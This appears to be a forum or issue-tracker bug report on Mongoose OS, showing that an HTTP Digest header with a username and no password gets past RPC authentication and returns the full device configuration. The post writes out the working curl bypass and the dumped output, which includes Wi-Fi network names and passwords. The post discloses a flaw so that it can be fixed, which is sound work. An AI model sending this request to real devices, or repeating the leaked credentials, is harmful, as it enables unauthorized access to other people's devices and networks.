Security bug Authorization Digest without password

[p3likan0]

I have implemented rpc.acl_file, rpc.auth_domain and rpc.auth_file.
Using mos --rpc-creds, works great.
But, when i try with curl:

curl -H 'Authorization: Digest username="esteban", uri="/rpc/Config.Get"' http://192.168.1.196/rpc/Config.Get -v
*   Trying 192.168.1.196...
* TCP_NODELAY set
* Connected to 192.168.1.196 (192.168.1.196) port 80 (#0)
> GET /rpc/Config.Get HTTP/1.1
> Host: 192.168.1.196
> User-Agent: curl/7.55.0
> Accept: */*
> Authorization: Digest username="esteban", uri="/rpc/Config.Get"
> 
< HTTP/1.1 200 OK
< Server: Mongoose/6.7
< Content-Type: application/json
< Connection: close
< 
{"sntp":{"enable":true,"server":"pool.ntp.org","retry_min":1,"retry_max":30,"update_interval":7200},"device":{"id":"esp8266_108820","password":""},"debug":{"udp_log_addr":"","mbedtls_level":0,"level":2,"filter":"","stdout_uart":0,"stderr_uart":0,"factory_reset_gpio":-1,"mg_mgr_hexdump_file":""},"sys":{"mount":{"path":"","dev_type":"","dev_opts":"","fs_type":"","fs_opts":""},"wdt_timeout":30},"conf_acl":"*","wifi":{"sta":{"enable":true,"ssid":"MassiveDynamic","pass":"unodostres","user":"","anon_identity":"","cert":"","key":"","ca_cert":"","ip":"","netmask":"","gw":"","nameserver":"","dhcp_hostname":""},"ap":{"enable":true,"ssid":"Mongoose_??????","pass":"Mongoose","hidden":false,"channel":6,"max_connections":10,"ip":"192.168.4.1","netmask":"255.255.255.0","gw":"192.168.4.1","dhcp_start":"192.168.4.2","dhcp_end":"192.168.4.100","trigger_on_gpio":-1,"keep_enabled":true}},"http":{"enable":true,"listen_addr":"80","document_root":"/","ssl_cert":"","ssl_key":"","ssl_ca_cert":"","upload_acl":"*","hidden_files":"","auth_domain":"","auth_file":""},"dns_sd":{"enable":false,"host_name":"door","txt":"","ttl":120},"rpc":{"enable":true,"max_frame_size":4096,"max_queue_length":25,"default_out_channel_idle_close_timeout":10,"acl_file":"rpc_acl","auth_domain":"admin","auth_file":"rpc_auth","ws":{"enable":true,"server_address":"","reconnect_interval_min":1,"reconnect_interval_max":60,"ssl_server_name":"","ssl_ca_file":"","ssl_client_cert_file":""},"uart":{"uart_no":0,"baud_rate":115200,"fc_type":2,"wait_for_start_frame":true}},"door":{"enable":true,"keep_open_ms":3000}}
* Closing connection 0

It works without password!!
I can see in mg_rpc_channel_http_get_authn_info how authn->username = mg_strdup(mg_mk_str(username)); get username, but there is anything about password.

Maybe you can fix it.